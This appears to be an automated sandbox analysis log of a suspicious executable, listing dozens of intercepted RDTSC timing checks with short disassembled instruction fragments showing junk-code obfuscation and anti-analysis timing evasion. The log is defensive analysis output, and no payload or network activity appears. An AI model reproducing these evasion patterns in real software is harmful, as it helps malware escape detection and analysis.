Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE67 second address: 6BDE9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818D70DD8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BDE9A second address: 6BDEA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE556 second address: 6BE56B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FB818D70DCFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BE56B second address: 6BE571 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC3D7 second address: 6BC42A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 je 00007FB818D70DC6h 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB818D70DD4h 0x00000016 popad 0x00000017 jo 00007FB818D70DD5h 0x0000001d jmp 00007FB818D70DCFh 0x00000022 popad 0x00000023 push ebx 0x00000024 push ecx 0x00000025 jmp 00007FB818D70DD3h 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1AAC second address: 6C1ABB instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FB8192482DAh 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C1ABB second address: 6C1AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007FB818D70DCCh 0x0000000f jc 00007FB818D70DC8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C314D second address: 6C3151 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3151 second address: 6C3162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007FB818D70DC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C3162 second address: 6C319D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FB8192482EFh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB8192482E3h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5521 second address: 6C5530 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818D70DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push esi 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9E33 second address: 6C9E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C9E39 second address: 6C9E43 instructions: 0x00000000 rdtsc 0x00000002 je 00007FB818D70DC6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5EB4 second address: 6D5EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007FB8192482E5h 0x0000000b popad 0x0000000c jmp 00007FB8192482DEh 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FB8192482DEh 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5EF3 second address: 6D5EF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8A68 second address: 6D8A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8192482E5h 0x00000009 jmp 00007FB8192482DFh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8A90 second address: 6D8AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8AAD second address: 6D8AB3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8AB3 second address: 6D8AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jc 00007FB818D70DD9h 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FB818D70DD1h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8455 second address: 6D845F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D845F second address: 6D8463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8463 second address: 6D848D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482DEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jl 00007FB8192482E3h 0x00000011 jmp 00007FB8192482DBh 0x00000016 pushad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D848D second address: 6D8497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D85FC second address: 6D8604 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA129 second address: 6DA143 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCAh 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007FB818D70DC6h 0x0000000f jns 00007FB818D70DC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF32D second address: 6DF33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB8192482D6h 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF33D second address: 6DF345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF345 second address: 6DF366 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB8192482D6h 0x0000000a popad 0x0000000b push edx 0x0000000c jmp 00007FB8192482DAh 0x00000011 jnl 00007FB8192482D6h 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE6E second address: 6DEE72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEE72 second address: 6DEE7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DEFE5 second address: 6DF006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 jmp 00007FB818D70DD8h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DF006 second address: 6DF00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F21A7 second address: 6F21D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818D70DD9h 0x00000009 je 00007FB818D70DC8h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F21D0 second address: 6F21D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F21D6 second address: 6F21E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F8F70 second address: 6F8F74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F936D second address: 6F9377 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB818D70DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F9377 second address: 6F938E instructions: 0x00000000 rdtsc 0x00000002 jc 00007FB8192482D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB8192482DBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F94DF second address: 6F94F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB818D70DC6h 0x0000000a pop ecx 0x0000000b jmp 00007FB818D70DCCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F94F6 second address: 6F951D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482DBh 0x00000007 push esi 0x00000008 jmp 00007FB8192482E7h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F951D second address: 6F954C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007FB818D70DDAh 0x0000000f jnc 00007FB818D70DCCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA20B second address: 6FA20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA20F second address: 6FA223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FB818D70DC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FB818D70DD2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA223 second address: 6FA229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FA229 second address: 6FA22D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FDCA1 second address: 6FDCAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FB8192482D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706A04 second address: 706A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FB818D70DE4h 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007FB818D70DC6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706A30 second address: 706A34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C211 second address: 70C215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C215 second address: 70C247 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E7h 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jno 00007FB8192482D6h 0x00000014 popad 0x00000015 pop edi 0x00000016 jnp 00007FB8192482E8h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C247 second address: 70C24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C24B second address: 70C24F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70C092 second address: 70C0B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007FB818D70DCEh 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007FB818D70DC6h 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push edx 0x00000019 pop edx 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 711736 second address: 711750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB8192482DFh 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713F38 second address: 713F49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB818D70DC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713F49 second address: 713F4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713F4D second address: 713F51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7213B5 second address: 7213C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737FCA second address: 737FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737BF0 second address: 737BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737D52 second address: 737D56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73A909 second address: 73A91A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a jnp 00007FB8192482D6h 0x00000010 pop ecx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73AB8C second address: 73ABA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818D70DD2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73ABA2 second address: 73ABA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73ABA6 second address: 73ABB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73ABB4 second address: 73ABD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 mov dx, A465h 0x0000000c push 00000004h 0x0000000e cld 0x0000000f push C56483A0h 0x00000014 push eax 0x00000015 push edx 0x00000016 jo 00007FB8192482D8h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73ABD2 second address: 73ABEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818D70DD5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0428 second address: 4DB042C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB042C second address: 4DB0432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0432 second address: 4DB04D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB8192482E1h 0x00000009 and ch, 00000036h 0x0000000c jmp 00007FB8192482E1h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FB8192482E7h 0x0000001d adc ah, 0000006Eh 0x00000020 jmp 00007FB8192482E9h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FB8192482E0h 0x0000002c or cx, 97E8h 0x00000031 jmp 00007FB8192482DBh 0x00000036 popfd 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FB8192482E5h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04D1 second address: 4DB04F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, ax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FB818D70DD4h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04F7 second address: 4DB04FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04FB second address: 4DB04FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB04FF second address: 4DB0505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0505 second address: 4DB050B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB050B second address: 4DB050F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB050F second address: 4DB0513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64C624 second address: 64C63B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB8192482E2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64CA8A second address: 64CA98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818D70DCAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB057D second address: 4DB0583 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0583 second address: 4DB0592 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818D70DCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0592 second address: 4DB05E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB8192482E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 56C7D177h 0x00000010 pushad 0x00000011 mov dl, 3Bh 0x00000013 movzx esi, bx 0x00000016 popad 0x00000017 add dword ptr [esp], 1F624AB1h 0x0000001e pushad 0x0000001f movsx edx, cx 0x00000022 mov cx, F8FFh 0x00000026 popad 0x00000027 call 00007FB88A6CBCFBh 0x0000002c push 762327D0h 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov eax, dword ptr [esp+10h] 0x0000003c mov dword ptr [esp+10h], ebp 0x00000040 lea ebp, dword ptr [esp+10h] 0x00000044 sub esp, eax 0x00000046 push ebx 0x00000047 push esi 0x00000048 push edi 0x00000049 mov eax, dword ptr [762C0140h] 0x0000004e xor dword ptr [ebp-04h], eax 0x00000051 xor eax, ebp 0x00000053 push eax 0x00000054 mov dword ptr [ebp-18h], esp 0x00000057 push dword ptr [ebp-08h] 0x0000005a mov eax, dword ptr [ebp-04h] 0x0000005d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000064 mov dword ptr [ebp-08h], eax 0x00000067 lea eax, dword ptr [ebp-10h] 0x0000006a mov dword ptr fs:[00000000h], eax 0x00000070 ret 0x00000071 push eax 0x00000072 push edx 0x00000073 jmp 00007FB8192482E1h 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB05E5 second address: 4DB05EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB05EB second address: 4DB05FB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c pushad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB05FB second address: 4DB0638 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, 01h 0x00000006 popad 0x00000007 popad 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov ecx, edi 0x0000000e mov edx, 400A25F4h 0x00000013 popad 0x00000014 mov esi, edx 0x00000016 pushad 0x00000017 mov si, dx 0x0000001a popad 0x0000001b mov al, byte ptr [edx] 0x0000001d pushad 0x0000001e mov edi, eax 0x00000020 mov edx, ecx 0x00000022 popad 0x00000023 inc edx 0x00000024 pushad 0x00000025 call 00007FB818D70DD0h 0x0000002a mov dx, ax 0x0000002d pop esi 0x0000002e push eax 0x0000002f push edx 0x00000030 mov al, dl 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0638 second address: 4DB064F instructions: 0x00000000 rdtsc 0x00000002 mov edi, ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 test al, al 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB8192482DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB064F second address: 4DB065E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB065E second address: 4DB0676 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB8192482E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0676 second address: 4DB0638 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818D70DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FB818D70D4Fh 0x00000011 mov al, byte ptr [edx] 0x00000013 pushad 0x00000014 mov edi, eax 0x00000016 mov edx, ecx 0x00000018 popad 0x00000019 inc edx 0x0000001a pushad 0x0000001b call 00007FB818D70DD0h 0x00000020 mov dx, ax 0x00000023 pop esi 0x00000024 push eax 0x00000025 push edx 0x00000026 mov al, dl 0x00000028 rdtsc
